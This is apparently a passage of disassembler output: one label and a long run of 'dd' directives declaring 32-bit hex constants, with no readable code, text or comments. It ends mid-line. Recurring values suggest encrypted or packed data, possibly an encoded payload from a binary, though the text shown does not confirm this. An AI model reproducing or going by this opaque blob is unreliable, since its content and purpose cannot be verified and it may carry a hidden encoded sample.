6E748842h dd 0A18C2C53h, 0EA9FDF70h, 0EC410887h, 18F7D37h, 0C5664432h dd 0F541E749h, 0F3DF0EFBh, 4974DBDAh, 0CB8732Bh, 98005263h dd 0EC5C7BB7h, 15616137h, 21A94432h, 703A3C55h, 0C599E96Fh dd 0D0E301CAh, 7563BD20h, 413BFDB3h, 98691A88h, 15668823h dd 156648DBh, 0AF85DA32h, 0E67CDC59h, 0C6E72134h, 90A02538h dd 109F3AABh, 14E91E75h, 0EC668832h, 8D3FDD5Ah, 14E52DD0h dd 0E9661132h, 327F3DCDh, 0FC0641CBh, 15662239h, 437390Ch dd 0CDC6A0E5h, 9F161305h, 90EB43EBh, 109F2B58h, 0FCB677CBh dd 15664421h, 3127B903h, 0D3C71789h, 0B5418D47h, 0FCA4A13h dd 1A9A25CEh, 15661ABCh, 15606132h, 0CC464432h, 4A37EC74h dd 0CD1E94BBh, 1A068E33h, 9400868Dh, 74CC20D2h, 0DFF94F4h dd 0FC218DCBh, 1566443Dh, 0DA4F5D44h, 47349837h, 489D0ABFh dd 1A69AB8Dh, 156631B3h, 1568F832h, 60C18832h, 493F5C1Eh dd 0CFEC95BCh, 0D1D67F02h, 0E8064A5Ah, 0A099B183h, 109F052Bh dd 7FE39CCEh, 0ED637108h, 128F94CDh, 45662232h, 0E7C3A1C7h dd 90EFB30Ah, 13679C4Eh, 1576CB52h, 2BF21132h, 0FC0E9D2Ch dd 40B4D836h, 0DC0AC8Fh, 9A69E1B1h, 15668838h, 156641DBh dd 1E79A932h, 0D307726Dh, 0EC7E11B7h, 1A060337h, 156627B1h dd 0FDE77732h, 906992FFh, 15664437h, 0B4C8358Ah, 10E7046h dd 0EDB92ECCh, 327FF1CDh, 9C6927CBh, 15661133h, 7FE305CEh dd 7563BD08h, 15662DDBh, 0AA621332h, 786F60FEh, 1D34EB29h dd 0A99D619Bh, 742AD4B2h, 1A0658CDh, 156646B4h, 0FCA7A832h dd 15661120h, 4583CEBCh, 9E102A6Ch, 7A4EDE67h, 8ABC1213h dd 9C076FA3h, 14BEC4B7h, 90A0D734h, 109F09ABh, 7D0E7D6Dh dd 0FCF814C0h, 15662223h, 0A07E9E7h, 0FF27E1B3h, 0DA4C63BDh dd 0E29AC8CEh, 0CD3EE13h, 75637115h, 1560C93Dh, 0DEE72232h dd 5F33BF8h, 156686DBh, 0F52CA632h, 0CC3F3E0h, 8E3D9BBCh dd 74C139C1h, 2F0CC1BFh, 420627CBh, 987AF68h, 1A078FE3h dd 156645B8h, 0C599DB32h, 17EB1E52h, 0A3668832h, 1D6DFAB0h dd 0FC070C9Eh, 15661137h, 4D893A18h, 91E3CD2Fh, 0FC6023EAh dd 15661134h, 0DC44A4C5h, 0D393917Bh, 0EC7EBBB7h, 1A8F5E37h dd 34668832h, 1713C172h, 6C816C37h, 0E5C50CF4h, 2A0E05B8h dd 0E9A1B849h, 327F97CDh, 128F14CBh, 29668832h, 0E4AB6477h dd 90EBFCF0h, 109F2B58h, 1567083Dh, 759A4432h, 0E90A3CEh dd 744E6E27h, 0FC0658CDh, 15664420h, 0AB86788h, 40357056h dd 6F9A37C6h, 21A0FE5h, 0FFE74F85h, 32AA3882h, 0A5E30153h dd 756045EAh, 95AC9D3Dh, 0D307CDE3h, 0EC7E11B7h, 1A8F0337h dd 0ED662232h, 0ED4F8F3Eh, 2C509C77h, 1B40AEBCh, 590EDC99h dd 0E09C4A5Ch, 327F3DCDh, 976941CBh, 15662237h, 0EBD91E52h dd 7FE30553h, 0EC63BD08h, 9C93F2CDh, 14BEA5B7h, 90A07434h dd 109F5CABh, 1577CB75h, 3B821132h, 0D3E77A76h, 0B5BCDEE7h dd 5B3D8D68h, 7D399DAFh, 0D660ACFFh, 1561CB3Dh, 97692232h dd 15661133h, 14EE87CEh, 0E0664432h, 327F97CDh, 989314CBh dd 0EC5CE2B7h, 0C599BD37h, 156BAD3Dh, 73061132h, 64F367B3h dd 1566C73Dh, 9C072232h, 14BEA9B7h, 14EE8734h, 0E9664432h dd 0DFFA7F4h, 0E03914CBh, 156699DBh, 0EB19D132h, 46AF9EAFh dd 0C842224Fh, 2D75F541h, 0D90E29C0h, 75B29952h, 0AE91A63Dh dd 2FF48369h, 0CD3BB53h, 0FC63DB15h, 1566113Fh, 0AB273D09h dd 19BA2942h, 738A4B10h, 7FE39C45h, 1A637108h, 15665AB2h dd 4E344232h, 156605DAh dd 0FE535732h, 0D5105116h, 3911920h, 0D992956Dh, 0B406303Dh dd 0EA071F2Ah, 14EC2DE2h, 0E9661132h, 0CDEE0DBBh, 99694233h dd 15662233h, 8CE3D7CEh, 4A63712Ah, 6258FD52h, 1D8F19EDh dd 0B0661132h, 4BC0E401h, 74BB24D6h, 0FC326C5Ah, 0A099E4ACh dd 109FAF2Bh, 1561CF3Dh, 1A062232h, 0C2EDCE85h, 7FE30553h dd 1A63BD08h, 156623BBh, 0C599E432h, 99E301CBh, 1A6045EAh dd 15662FB3h, 156EF832h, 0E1728832h, 0EA8FC1EEh, 90A05E81h dd 109F09ABh, 5D0E746Dh, 75B7571Ah, 7343FBB2h, 0EA07E2B9h dd 0EC419187h, 1574AD37h, 0A4592232h, 752AB8E9h, 44B51E07h dd 0A5960D18h, 1D1EAE4h, 2F0C94BFh, 0EA9F8DCBh, 90EFB8E2h dd 1367FAA2h, 469C9A52h, 40A143B3h, 743C01F2h, 96692658h dd 1566113Fh, 156680DBh, 1C5F8F32h, 86CFB3Eh, 56679ADh dd 7D9A8832h, 15665432h, 0E96648CBh, 59784CDh, 9C9F8DCBh dd 0EC6EB1B7h, 90EBDA37h, 13674597h, 75B677CBh, 9CF1FB54h dd 156633DAh, 0F4307932h, 2045D6ADh, 0F564DA65h, 874DEA28h dd 4F313621h, 7F93E96Dh, 156FAD36h, 472C2232h, 0E59A2C67h dd 1A653D9Fh, 156645BBh, 150EDA32h, 1A661122h, 15669DBEh dd 1AE14B32h, 0FC662232h, 15661138h, 8C96E004h, 84B592EFh dd 150E3A01h, 0ED661112h, 0FAE67052h, 150C25FDh, 156628DBh dd 0D57A2232h, 1C73110Ah, 0EA97B4C2h, 0EC76D3A7h, 73347137h dd 4D44FE89h, 0FC07BFB9h, 1566223Dh, 6ABA179Eh, 0A5EF0B0Dh dd 14ED265Bh, 9C9CFE21h, 0EC6258B7h, 9C9A7437h, 0EC7F85B7h dd 156BCB37h, 918F1132h, 0A54B87Ch, 3513575Ah, 7F831CAFh dd 94007172h, 73AE22F8h, 7D078BB9h, 15663232h, 156603DBh dd 57854832h, 8FCF25A8h, 0A7CD0034h, 0E13DBC54h, 7D309FA7h dd 15674432h, 756648CAh, 8E08A954h, 15668DDAh, 7BFC4532h dd 0AF0002C8h, 743DDE07h, 5971DCDh, 926941CBh, 15662224h dd 156600DBh, 0B1302D32h, 0BC723233h, 9369D825h, 0EC324481h dd 90EF4864h, 109F6113h, 0C4ED4452h, 156B9E3Dh, 1D8F8832h dd 0C1664432h, 42D6F59Bh, 74494581h, 328F3DB9h, 9F6941CBh dd 15662233h, 10FB9AC7h, 0FC637110h, 15664422h, 2B1F0D0Dh dd 13EDF89Bh, 31A5CDC3h, 2B12EB1Fh, 0F9F97BBh, 1D8F14CBh dd 7668832h, 956FC10Eh, 7529ACF6h, 156602DAh, 86170632h dd 2164AE70h, 0F0D697FAh, 28C40A28h, 818886A1h, 156657DAh dd 97D46D32h, 233DDC8h, 0F8483724h, 4BD54519h, 0D6C1A55Dh dd 0AA694B6Dh, 88EFE9ECh, 109F61D7h, 0ED2DCBh, 0FC661132h dd 15668822h, 0CA67DB78h, 0E3D78225h, 34579538h, 0E1E4D49Fh dd 3763D9B9h, 986927CBh, 1566113Ah, 15E58752h, 74664432h dd 15DF7360h, 9C661132h, 0CF67D1F8h, 0EC3C4EB9h, 1A66DBB1h dd 155C0BB6h, 1A8FE832h, 0DC664432h, 0B5098333h, 0EA66222Bh dd 52324332h, 0AA69441Fh, 0EF0E43C1h, 9C66115Dh, 439EAC36h dd 0D3E7A2BBh, 15662236h, 9262FFB1h, 9C3AAC06h, 1F8F603Eh dd 0F2662232h, 4DEA9954h, 6A85E362h, 0FC06B10Eh, 15662223h dd 86C7ECE5h, 96911680h, 183F9F33h, 474E4BF4h, 0EDA620C9h dd 27EB0DBBh, 976941CBh, 1566223Ah, 73394652h, 7456618Ch dd 9C62A8B1h, 98DB061Eh, 9428551Ah, 0C011FED7h, 0DD8BC57Eh dd 9C2A662Dh, 1A064CDCh, 15668AB3h, 73A0CF32h, 74CC038Bh dd 51B6FFB3h, 0D3E7A539h, 1F7B1FEFh, 35425631h, 4EBBFFB3h dd 0D3E7822Fh, 386D00E2h, 1569CB52h, 0DAF21132h, 3ADA13F4h dd 0D19C0ECEh, 0EAEEDD8Ah, 7488A2EAh, 389A2554h, 1633315h dd 35426631h, 1424AA61h, 0DEE79818h, 2D7F47D6h, 0D795A379h dd 144A2F46h, 0A106D3EAh, 1575AD65h, 0C7052232h, 466E1D30h dd 679C9800h, 0E7A080CAh, 62FE2AA9h, 6599704Eh, 3152094Ah dd 6A017778h, 964216B9h, 0E3E715F6h, 6A01BB78h, 156EC33Dh dd 97692232h, 15661130h, 0A833E952h, 591948A8h, 163BCC33h dd 94463546h, 6A6A12DCh, 1575AD7Eh, 25B62232h, 0ECA82FF6h dd 5F8BDCAh, 0B6DC4A4h, 0E30D77EAh, 0D10EE2Eh, 9442B4B9h dd 156640F6h, 96694232h, 15661132h, 156698DBh, 235BD332h dd 84EC5E82h, 5760AB96h, 0DD201ADh, 0A8EF2563h, 109F3667h dd 156602DBh, 1C221332h, 0A534A393h, 0BB03ADAAh, 0E12ED7D8h dd 1C5754D2h, 9069BBB7h, 15662216h, 0E0B19052h, 0FC0DCB83h dd 15664439h, 0ED4700E6h, 316331BFh, 749BCCCDh, 150403DAh dd 0B58FD732h, 0ED661136h, 10860162h, 15664436h, 9262CAB1h dd 9C3A3536h, 128FAC3Eh, 51664432h, 1401EFD4h, 996949E5h dd 1566883Dh, 15664EDBh, 4527332h, 0B778044Eh, 42AC7690h dd 944250B9h, 156626F6h, 14EC1E32h, 0ED668832h, 0E0629659h dd 1093B7BBh, 7F9A14CBh, 150E7D36h, 0FC664422h, 1566223Ah dd 0CBFE38CCh, 0B9ED1746h, 1507025Ah, 3172AB32h, 0CDED7752h dd 15636152h, 0AAED4432h, 0FC6DD77Fh, 1566113Fh, 0F3CC173Fh dd 26E6EA29h, 7CB45EBh, 7F077014h, 14EE8732h, 0ED664432h dd 597B7CDh, 966914CBh, 15668837h, 0E063F452h, 40E3AB53h dd 1A63E816h, 1566A0B2h, 1C8F2432h, 0D2662232h, 8A1A8219h dd 3B3BF031h, 156657DBh, 0E6674932h, 2C74885h, 476BA5B0h dd 0B6E75D9Ch, 42509886h, 21E74153h, 0FE28F016h, 3172CF71h dd 1562E6B3h, 0E7E71132h, 568DC64Ah, 156DCC3Dh, 94062232h dd 1A4CD4F8h, 0EFEDEE53h, 3152BB53h, 11A2A16Bh, 0E7ED7752h dd 0A54B3654h, 156CAD53h, 26112232h, 0B0C03414h, 0A52AD15Ah dd 150753DAh, 1561CB32h, 15881132h, 3694B612h, 0F6EF17DBh dd 1562E1B3h, 0FEE51132h, 317A0F36h, 3152CD6Eh, 759E8FCAh dd 74A0AE3Dh, 670C3664h, 0E54F5914h, 3122216Ch, 670C1416h dd 73069514h, 0AD638CB3h, 4F8FA354h, 7D36706Ah, 15669984h dd 4D4278BBh, 12EA2D6Dh, 75661132h, 75A70354h, 0FF0E2553h dd 9C662213h, 1A3D350Eh, 156681BCh, 88D72432h, 32AD708Ch dd 9E0E701Ch, 9C66881Ah, 0FC93600Eh, 1566223Ch, 0FA4A0331h dd 885EBC00h, 9F713DF4h, 0D5565C08h, 996971CBh, 15668831h dd 7396CF54h, 0BB07EAB9h, 1A06EC47h, 15668AB8h, 733F1632h dd 0F347EBB3h, 0DEE1E53h, 0FC668832h, 15664421h, 7A309C1Dh dd 3E70FAFDh, 0C4CD9FE2h, 8855C0CEh, 9E2EF1EDh, 9C373506h dd 11A709D3h, 96664432h, 19E126F3h, 1A8F4D16h, 2B668832h dd 9BC60AC6h, 0F7FF2D01h, 0EF875A98h, 0D2E7059Bh, 5C5C38CFh dd 0A833FD1Bh, 81955DDh, 1083497Fh, 4A53A1B3h, 0D0E7358Fh dd 54F44ECFh, 0E93B671Bh, 1551655Ah, 3172AB32h, 156E9B3Dh dd 9A698832h, 15664430h, 94314352h, 46F93536h, 443CFDC0h dd 0CC6B1C8Bh, 52A7A301h, 3C240874h, 18FD1F8h, 7B664432h dd 0BCB7CCC7h, 0AAC7E018h, 0C6B7D031h, 74F1CBE8h, 9E86400Eh dd 0EC6EE48Fh, 0EADF7037h, 0FC99BBCDh, 15662235h, 0C1B57A52h dd 24EC186Bh, 0C3E624F2h, 74649392h, 1566A863h, 0E4678832h dd 19ED45B8h, 11A2A316h, 1A661132h, 156689B5h, 0DD56B832h dd 14DC70CEh, 14661132h, 9D69D2E4h, 15664437h, 7406DA52h dd 9252EE53h, 7C903361h, 495736CCh, 4D3D2616h, 0EB0FE707h dd 156E6140h, 91334432h, 0E3E7F98h, 0FCA75FDAh, 0D457703Ah dd 156FC13Dh, 73062232h, 7353BC8Dh, 5F0746B9h, 0EAEFC13Dh dd 188FDDCDh, 0B8661132h dd 753B8AEFh, 3F1CF5EEh, 19D88796h, 47AC9860h, 32428CB3h dd 4D58AC63h, 0FD37051Fh, 45934B0Ch, 0E2429CB5h, 3172C3E0h dd 7EE2D6Ah, 1A661132h, 156684B7h, 1561AD32h, 7A622232h dd 7C5A47FFh, 31527704h, 11A2C568h, 0E9662232h, 151FF35Ah dd 31620132h, 950646BDh, 0E6EDF7F4h, 11DF4053h, 14668832h dd 316ACFF8h, 1562E6B3h, 91691132h, 1566883Ch, 15664DDBh dd 0D276F732h, 0A7E73775h, 9C35EAC6h, 11A5C5D1h, 94662232h dd 156615D9h, 317A0F32h, 3172CD6Eh, 98E3DDCEh, 1A63E800h dd 156684BCh, 1561AD32h, 5BB92232h, 0E24EA5EBh, 98F3036Fh dd 0E963BD00h, 133B70Bh, 916914CBh, 156688A0h, 1579C13Dh dd 0FD062232h, 15661121h, 4F3EED8h, 0F5F5EE1h, 41593F5h dd 1F91CE93h, 4EE75EF9h, 5438FA54h, 3172A953h, 10869862h dd 15668836h, 926284B1h, 0FC3A0636h, 15661120h, 128FF533h dd 0B625D5B1h, 477C408Ch, 0C2155EB7h, 0AB06CB78h, 789EC885h dd 3152DD53h, 11A2926Ch, 1567053Dh, 7D9E4432h, 156647BCh dd 0AE420DBBh, 15668836h, 753D9A33h, 0FC07DAC7h, 0EA99EDE7h dd 156699DBh, 9115EA32h, 102E6F0Ah, 3E80EB6Eh, 0E0161EB2h dd 2199B5E2h, 0D1E57816h, 156CF836h, 7E698832h, 7F3E92B2h dd 26A01543h, 454225B9h, 116368BBh, 96664432h, 11E126F2h dd 749E4D16h, 15690B3Dh, 1F8F4432h, 0CE662232h, 3E65D13Fh dd 0E663B17Dh, 1560AD49h, 3E9B2232h, 426EE1C3h, 424284B9h dd 0D2E7A3BBh, 15662236h, 1562D6B3h, 29E18832h, 9B691816h dd 15662233h, 3152EECBh, 11A20B6Ah, 7CE383C7h, 1563DB12h dd 0FC661132h, 15668822h, 0DC5B94C3h, 6C52DBA0h, 0CA538A77h dd 1F7D8A09h, 183C1F5h, 156627CBh, 969E1132h, 14B1708Fh dd 91694434h, 1566221Eh, 1570953Dh, 48F8832h, 7B664432h dd 0EB2B9CC6h, 907A7771h, 0B3813D1Bh, 28147525h, 596CBFBFh dd 9D691732h, 15668833h, 0EDB5BBC7h, 553A7CDh, 58F14CBh dd 4668832h, 0E1F5C7DBh, 7D226E7Fh, 1E3AD5ECh, 75619068h dd 0AA7DE48Ch, 14EA2D70h, 0E0661132h, 20DB0B53h, 7163BD22h dd 170BA03Dh, 94061132h, 14F45CECh, 74BCCF59h, 553A7F5h dd 156714CBh, 75938832h, 1567C03Dh, 1A932232h, 156607B6h dd 15776132h, 205E4432h, 0B0ADADECh, 46F13089h, 14AEF881h dd 98353080h, 147E47B7h, 1561F834h, 52418832h, 0FE3987F4h dd 0FCB6DD74h, 15661138h, 6B492662h, 7AB17ACDh, 0A0EBCF34h dd 1367C9FAh, 0FDE7EE52h, 980762F3h, 1703328Fh, 1561F834h dd 153B8832h, 65476ECBh, 14E02D24h, 0E0661132h, 6B733567h dd 0FA4F4221h, 94910B6Fh, 61804F5h, 9E00E834h, 9B6924C5h dd 15662232h, 2FFAE6B3h, 74079FB0h, 3152C565h, 1EA02AACh dd 8BDE4168h, 246D4E3Ah, 9E931CF0h, 0EC6ED78Fh, 0EADFED37h dd 0EC9977CDh, 1561CF3Dh, 97692232h, 15661133h, 0FCA6B9CAh dd 15664438h, 1B3D4D50h, 8E789DB4h, 7E0E9F66h, 9C664477h dd 15DF063Eh, 14661132h, 4C6702C3h, 0FCAE74CBh, 15662223h dd 90997A2Eh, 0F6FC7C98h, 0EA32C7AEh, 0D273F506h, 14DB4480h dd 14668832h, 730619DCh, 5FC3FAB3h, 0B2557D8Ah, 2199E94Fh dd 3162C5B5h, 584A180Dh, 45DB446Ah, 94567C64h, 3608D4FFh dd 94B3D53Bh, 0A62F5DDFh, 0C2AB0961h, 94244F6Ah, 0D9DC6AF7h dd 488E38E8h, 15710C3Dh, 78F4432h, 0B9662232h, 7AD2E761h dd 6E8E160Fh, 3039B9CFh, 1209FCA7h, 1D8FD0CBh, 75A7B9CEh dd 156649DBh, 80171A32h, 5955D70h, 9513FB67h, 0CFEDA5C2h dd 90696853h, 0EA99EE73h, 118A09CBh, 9C664432h, 753E063Eh dd 1566943Dh, 83078832h, 0C79192B5h, 1AF0F4B5h, 156610B9h dd 905F7D32h, 109F5387h, 15CFA63Dh, 73061132h, 750752B9h dd 15664CDBh, 15DDB32h, 4411C22Eh, 5D810954h, 74559323h dd 1566225Ah, 31629A32h, 15624CB3h, 46064432h, 1566AB3Dh dd 0ED381132h, 1AA68353h, 156603B7h, 1576CB32h, 0B8E71132h dd 23C8718Eh, 8D3A4791h, 16CE3CA9h, 90A13721h, 109F9C73h dd 15664433h, 156627DBh, 76F89732h, 0E00633A0h, 1573C73Dh dd 1A8E2232h, 24661132h, 0E69EDF3Dh, 1045EACEh, 5D995AB7h dd 743E9075h, 4CDC3567h, 0FC674403h, 94420EB9h, 156615F6h dd 15636132h, 9FF44432h, 0FCA8EF65h, 15661135h, 0F4281F44h dd 7481A155h, 4507DA52h, 7E73158Ah, 1E9D8D68h, 0C591173Bh dd 55B6D572h, 3F609B07h, 0E2CAA54Bh, 0D4EFD7B4h, 640ED76Ah dd 9E3DFFB7h, 0D1E5AC26h, 156DAD36h, 0B9152232h, 520172FBh dd 0AD6E33B4h, 19E24BF1h, 1A662232h, 156617BDh, 15EC8732h dd 0B8664432h, 156AA43Dh, 97691132h, 15668834h, 1566C43Dh dd 0A0EF2232h, 109F0BCBh, 15670D3Dh, 75934432h, 24AD9954h dd 4407DAB8h, 0EA99748Bh, 429745CDh, 0B029725Ah, 0CA914E0Ch dd 0F2A75FC5h, 6D89C531h, 9C930848h, 753F4E0Bh, 0AB00D285h dd 0FC071570h, 1566223Dh, 0B6CB6F5Fh, 788A56B2h, 6D723392h dd 28374EE6h, 0FB88FFDCh, 158A0D3Dh, 98694432h, 1566222Ah dd 156602DBh, 0E7E7EE32h, 7EB7C4AEh, 7B856E60h, 4FBB2453h dd 2224A608h, 15664CDBh, 0A1AD0232h, 929F950h, 0C858092Eh dd 1ABB99EFh, 156697B7h, 4E01E32h, 75668832h, 15664DDBh dd 0B7E2AF32h, 16759FF2h, 749A2A7Eh, 0BE6083CEh, 0EA2B512Fh dd 9CDE413Ch, 1C58ED36h, 23E71C34h, 6A113F99h, 156601DBh dd 0EF4CB032h, 21BAB196h, 11912B80h, 0E74037A0h, 11DFD909h dd 94664432h, 0CC56D9F4h, 94A8107Eh, 0CC5673DCh, 0FC061D7Eh dd 1566223Ah, 669D099Ch, 9A7BB2F1h, 1566CA3Dh, 9C072232h dd 0EC7CE887h, 0E2E6E837h, 7ED4B7Dh, 0FC662232h, 1566113Fh dd 0D0C04D2Ah, 2434AA96h, 0E4D40E15h, 0B88F706Bh, 1A66881Fh dd 156648BAh, 13E22D32h, 1A661132h, 156688B6h, 0EB07AD32h dd 9406DDCDh, 1BDB64E1h, 190EE975h, 9C664452h, 0FC3D0636h dd 15661135h, 23D396ECh, 0FCA47B0Ah, 15662220h, 1D1DA427h dd 831D2CAh, 6DA53D38h, 64B7A4AFh, 90550BFEh, 109F9C73h dd 1576CD3Dh, 1E8F2232h, 32661132h, 2B4966D9h, 0AED4DA35h dd 1A8F62B6h, 3A661132h, 38EED528h, 76A247F9h, 5929BA42h dd 0DDA7D97Ch, 0AA317031h, 57095348h, 3C39DA33h, 21C3CE2h dd 9569CA5Dh, 15664435h, 1567A13Dh, 759A1132h, 0D2EC2D84h dd 5A68553h, 74A79052h, 1B8FD903h, 58668832h, 5CA6D73Dh dd 43D80D5Ch, 38DDE5Dh, 54FB0119h, 1A63BD26h, 156625B5h dd 14E41E32h, 0E0668832h, 1466440Fh, 0F5E52D32h, 0FC661133h dd 15668835h, 824DAFE0h, 94A4E09Fh, 0AEDDAA0Ch, 0DDE38789h dd 75664433h, 5B669952h, 0CAED54E8h, 0AC37E953h, 39695384h dd 4180D3B3h, 0CC9106DFh, 5A2A69B3h, 0DCE71679h, 4C66F5Ch dd 788F907Bh, 9C37217Fh, 316ACF3Ch, 1562E6B3h, 0E9061132h dd 108FE9CEh, 1D664432h, 54375A35h, 34DC4367h, 942B220Ch dd 7158A9F8h, 0CCACA362h, 94471850h, 6D12D9F0h, 5F94C545h dd 9C9345C1h, 0FB674BE7h, 1A34E86Fh, 7438958Dh, 0F9F97BBh dd 916914CBh, 15668838h, 1A3D1352h, 156622B4h, 88ED7032h dd 109FAA37h, 0F6E72252h, 0E3E7AE6Eh, 36A0FA3Dh, 9469E853h dd 1566443Eh, 156625DBh, 0B4A5E132h, 1D94DDEBh, 5CBD2C53h dd 1EF2232h, 1566AB16h dd 0CF678832h, 753C4EB9h, 1573A43Dh, 58F1132h, 0C0668832h dd 0B6BFE3CFh, 491CF93Eh, 0A4C134D3h, 746BB2E1h, 43A0CD64h dd 138F7C68h, 2F661132h, 6974BBF1h, 0FC06245Eh, 15662223h dd 0D2AD9043h, 757B0D6Ah, 0BBE5EAAEh, 0AEB4B06Ah, 453470D6h dd 19484E8Ah, 3122451Fh, 383E7A36h, 386A3FF4h, 15668EDBh dd 5D089C32h, 3EBD15DEh, 0EC4E84B7h, 1F8F7D37h, 1F664432h dd 9AEC5823h, 555C7DF5h, 178649D6h, 156ACE3Dh, 128F2232h dd 25661132h, 926969D4h, 90654535h, 109F08D3h, 0E557E4CEh dd 0E5574E03h, 15664FDBh, 0D685AD32h, 4E83C218h, 0C7FCD5BEh dd 19E54B9Fh, 0FC662232h, 15661135h, 63032F3Bh, 384EE5A2h dd 5A7742F5h, 0AF34D933h, 6E44A781h, 9465A6F3h, 0EA850DF0h dd 4FB61047h, 156D0A3Dh, 1A064432h, 9869E98Dh, 15661132h dd 31220153h, 749A242Eh, 156DCB53h, 0FB81132h, 0E72443D4h dd 6E579AEDh, 178ACB86h, 949F1132h, 15668CDEh, 316ACD32h dd 44774ACAh, 1EF1132h, 15746116h, 0B73A4432h, 298C9E5Ah dd 0D34E0C0Fh, 0A10CE52Ch, 2E0F8F11h, 188FEB03h, 97661132h dd 94A5187Ah, 70294317h, 0B37E715Ch, 40F39ACBh, 0FC637116h dd 15664422h, 0BA03643Ch, 0D5EEDBCEh, 5E0070C6h, 0E3B5C9CFh dd 91692009h, 1566119Eh, 0ECD18752h, 4007BCB9h, 1566268Fh dd 3C8C9032h, 1403EF06h, 3CA4C5D8h, 48034506h, 15609A3Dh dd 1A068832h, 749EB385h, 15679A62h, 0D4671132h, 1568616Ah dd 61504432h, 0F1290285h, 0AE975571h, 8458E2Fh, 133C909h dd 906927CBh, 0EA99EE9Ah, 156680DBh, 428C3D32h, 55BDA09Fh dd 0E8DB444Dh, 9460F522h, 0F63F65F7h, 488EAB30h, 7522A637h dd 13864973h, 1063A4F3h, 558A2E65h, 77D24607h, 156C6174h dd 80FD4432h, 9EEF0E46h, 97BF0554h, 5B8E05BFh, 926941CBh dd 1566223Fh, 156619DBh, 75A16B32h, 28C115D4h, 0EC87DD34h dd 27EB9CBBh, 198F8DCBh, 0A8664432h, 0C1CE1BCAh, 0DF7DD3AEh dd 9E91AC4Fh, 9C336026h, 11A3A3D7h, 94661132h, 15668CF7h dd 314AC332h, 0BE42D6Eh, 1A661132h, 156690BAh, 1575AD32h dd 687A2232h, 0FBD7D64h, 0D9ACA083h, 83C85DB7h, 67E3434h dd 316A9AD7h, 94840160h, 156640F0h, 11A4A132h, 494205B5h dd 156F6152h, 0B2CF4432h, 77C989F7h, 73D4A913h, 44A668B3h dd 156DAD53h, 0E682232h, 312E0704h, 6F5727A2h, 0F7EF1698h dd 1562E0B3h, 0FFE51132h, 31720F36h, 3152CD6Eh, 156AA63Dh dd 9F691132h, 15668834h, 1566C53Dh, 88ED2232h, 109F3337h dd 7D33D8C7h, 151B2AF6h, 0AAA3A36Fh, 9421D17Bh, 28DE0BC7h dd 488ECD7Ah, 1DEDFA33h, 0C2E7716Ah, 2D5B166Ch, 156650DBh dd 0BA1E7732h, 2C100DFBh, 54771B7Ch, 0B25BCAF0h, 0E065E8ABh dd 90ED7053h, 109FBABFh, 29A5FD52h, 9E002684h, 0F5B770F1h dd 156A0C3Dh, 73064432h, 1AFCE088h, 156611BEh, 9065E932h dd 109F5EB7h, 1567A53Dh, 759A1132h, 1566003Dh, 0CEE74432h dd 37F6D038h, 0FC902053h, 1566883Eh, 9BD9F257h, 0E50C2362h dd 9D497999h, 11EDDE62h, 11A2C716h, 4435426Ch, 0AA694B6Ah dd 0B800E9ECh, 0AF0024CEh, 0AE006559h, 0D40757FAh, 1E8F8AD2h dd 0FB664432h, 1CD6CBFEh, 0D8B81237h, 9065237Dh, 109F6ED3h dd 249613CBh, 1A9620F4h, 15668FBCh, 14EE4B32h, 0EC662232h dd 0AE35E99Fh, 74C5A549h, 143D9C33h, 381D0FFAh, 9F697091h dd 1566882Dh, 157FC63Dh, 18F2232h, 20661132h, 0D3A79279h dd 519B6427h, 79C8ADC9h, 0BEBA761h, 9E95DED8h, 9C316006h dd 11A1A3D5h, 94661132h, 15668CF5h, 315AC332h, 0A8E5DE6Eh dd 109F3873h, 0ABE28733h, 1A664432h, 15663BB8h, 1572F832h dd 9B218832h, 0A774451Ah, 7824DE55h, 0D0DCEC94h, 89A628B2h dd 985DC53Ch, 109F052Bh, 15F5953Dh, 2E9F8832h, 0EC474DBFh dd 93E22D37h, 75661132h, 0D0EBB353h, 1A63BD3Dh, 15665AB6h dd 88EBED32h, 1364BE21h, 156643DBh, 0F57A7132h, 0E42B086h dd 9D695BCDh, 1566443Ah, 0DBED4452h, 74959A54h, 153A7C5Ah dd 3162CD32h, 90EFDE6Dh, 109F15E7h, 15756052h, 0A3024432h dd 0C5D4C7AAh, 0D9E34086h, 16AAC07Ch, 0FE2A1EE5h, 4D0742EFh dd 7495AE3Dh, 1547A2DBh, 156FAD32h, 5D3E2232h, 3C3CB394h dd 1A5889AEh, 156648B8h, 1561CB32h, 6B11132h, 4FF49868h dd 6FBC94Bh, 0FC602004h, 15661139h, 8D7555B6h, 5635A3AAh dd 0FC87F857h, 1566113Eh, 0FC5C2FBAh, 73BC1CD4h, 9F146F7h dd 9D69C2CDh, 15668833h, 54DBC7CEh, 1563DB1Bh, 1506953Dh dd 92698832h, 15664435h, 1567A33Dh, 0E99A1132h, 338F0D09h dd 916941CBh, 1566220Bh, 1576F852h, 37BA8832h, 41C414EBh dd 436F312Eh, 1B7AD0A2h, 95693033h, 15664433h, 905D43C7h dd 109F01F3h, 157A0D3Dh, 1F8F4432h, 0C3662232h, 5A9F5ED9h dd 69C0E215h, 0EB92AD12h, 7306DDCDh, 9EB55689h, 905DE9F8h dd 109F5313h, 1534A73Dh, 188F1132h, 93668832h, 18819614h dd 75CD2AA6h, 0CAD6FE68h, 2E335B1h, 1A6641CBh, 156601B6h dd 0A8E5E932h, 109F9813h, 30E24B32h, 75662232h, 22B19054h dd 1563607Bh, 0BE814432h, 950F5FB3h, 743E18D8h, 23D00DBFh dd 9F064233h, 9A8F43FEh, 0ED99EECCh, 2470D09h, 916941CBh dd 0EA99DCB0h, 0C9DB92CEh, 146089E5h, 1517C13Dh, 1D8F2232h dd 9B661132h, 2590EFEEh, 0FC2589B8h, 15662221h, 83F0EFE4h dd 437A00Ch, 0CDC66CE5h, 59167505h, 2ECB450Bh, 14BE98B7h dd 55E34B34h, 0EC662232h, 1E8294BFh, 9C69886Bh, 15664426h dd 1568A03Dh, 1C8F1132h, 7C668832h, 0D92C629Ch, 11B80A37h dd 0EA982EDBh, 1EC87CDh, 75664432h, 15662ADBh, 7883C432h dd 0F7DB290Dh, 0C4E72294h, 24071A43h, 3E41ECDh, 0FC668832h dd 15664423h, 0ED5F8A76h, 0F00AD9C7h, 0D0B6E16Ch, 71191F1Ch dd 7CDBA1F3h, 1563E83Eh, 5B70C3Dh, 2E9F4432h, 14B1DEB7h dd 47E31E34h, 1A668832h, 156655B1h, 156ACB32h, 0DBAB1132h dd 0B83B79BCh, 8F24A7F2h, 90ED8B53h, 109F0983h, 15776052h dd 480C4432h, 118390AAh, 0DC785BBAh, 6773C00Fh, 0FC25B92Bh dd 1566223Ah, 5026F023h, 81820ADEh, 4407BD6Dh, 1566238Bh dd 4CA91032h, 0CAEDEE52h, 